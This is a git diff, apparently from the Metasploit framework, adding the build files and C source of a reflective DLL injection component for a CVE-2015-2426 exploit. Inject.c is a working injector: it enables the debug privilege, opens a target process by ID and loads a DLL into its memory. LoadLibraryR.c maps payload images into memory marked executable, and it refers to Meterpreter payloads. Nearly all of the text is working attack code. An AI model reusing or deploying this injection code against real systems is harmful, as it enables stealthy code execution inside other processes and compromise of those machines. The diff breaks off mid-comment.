Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup> + <_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Configuration)\</OutDir> + <IntDir>$(Configuration)\</IntDir> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(Platform)\$(Configuration)\</IntDir> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Configuration)\</OutDir> + <IntDir>$(Configuration)\</IntDir> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(Platform)\$(Configuration)\</IntDir> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <TargetMachine>MachineX86</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <Midl> + <TargetEnvironment>X64</TargetEnvironment> + </Midl> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <TargetMachine>MachineX64</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <TargetMachine>MachineX86</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OutputFile>$(OutDir)inject.arm.exe</OutputFile> + <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <Midl> + <TargetEnvironment>X64</TargetEnvironment> + </Midl> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <OutputFile>$(OutDir)inject.x64.exe</OutputFile> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <TargetMachine>MachineX64</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="src\GetProcAddressR.c" /> + <ClCompile Include="src\Inject.c" /> + <ClCompile Include="src\LoadLibraryR.c" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\common\ReflectiveDLLInjection.h" /> + <ClInclude Include="src\GetProcAddressR.h" /> + <ClInclude Include="src\LoadLibraryR.h" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> diff --git a/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj.filters b/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj.filters new file mode 100755 index 0000000000..5482d5ae49 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj.filters @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="src\GetProcAddressR.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\Inject.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\LoadLibraryR.c"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="src\GetProcAddressR.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\LoadLibraryR.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="..\common\ReflectiveDLLInjection.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.c b/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.c new file mode 100755 index 0000000000..9cd83059fa --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.h b/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.h new file mode 100755 index 0000000000..20835ec477 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/inject/src/Inject.c b/external/source/exploits/CVE-2015-2426/inject/src/Inject.c new file mode 100755 index 0000000000..df5f552031 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/Inject.c @@ -0,0 +1,120 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include <windows.h> +#include <stdio.h> +#include <stdlib.h> +#include "LoadLibraryR.h" + +#pragma comment(lib,"Advapi32.lib") + +#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } + +// Simple app to inject a reflective DLL into a process vis its process ID. +int main( int argc, char * argv[] ) +{ + HANDLE hFile = NULL; + HANDLE hModule = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LPVOID lpBuffer = NULL; + DWORD dwLength = 0; + DWORD dwBytesRead = 0; + DWORD dwProcessId = 0; + TOKEN_PRIVILEGES priv = {0}; + +#ifdef _WIN64 + char * cpDllFile = "reflective_dll.x64.dll"; +#else +#ifdef WIN_X86 + char * cpDllFile = "reflective_dll.dll"; +#else WIN_ARM + char * cpDllFile = "reflective_dll.arm.dll"; +#endif +#endif + + do + { + // Usage: inject.exe [pid] [dll_file] + + if( argc == 1 ) + dwProcessId = GetCurrentProcessId(); + else + dwProcessId = atoi( argv[1] ); + + if( argc >= 3 ) + cpDllFile = argv[2]; + + hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if( hFile == INVALID_HANDLE_VALUE ) + BREAK_WITH_ERROR( "Failed to open the DLL file" ); + + dwLength = GetFileSize( hFile, NULL ); + if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); + if( !lpBuffer ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) + BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); + + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + + CloseHandle( hToken ); + } + + hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); + if( !hProcess ) + BREAK_WITH_ERROR( "Failed to open the target process" ); + + hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); + if( !hModule ) + BREAK_WITH_ERROR( "Failed to inject the DLL" ); + + printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); + + WaitForSingleObject( hModule, -1 ); + + } while( 0 ); + + if( lpBuffer ) + HeapFree( GetProcessHeap(), 0, lpBuffer ); + + if( hProcess ) + CloseHandle( hProcess ); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c b/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c new file mode 100755 index 0000000000..f26da7e59c --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c @@ -0,0 +1,233 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef _WIN64 + DWORD dwMeterpreterArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwMeterpreterArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + if( dwMeterpreterArch != 1 ) + return 0; + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + if( dwMeterpreterArch != 2 ) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + // Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only. + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is 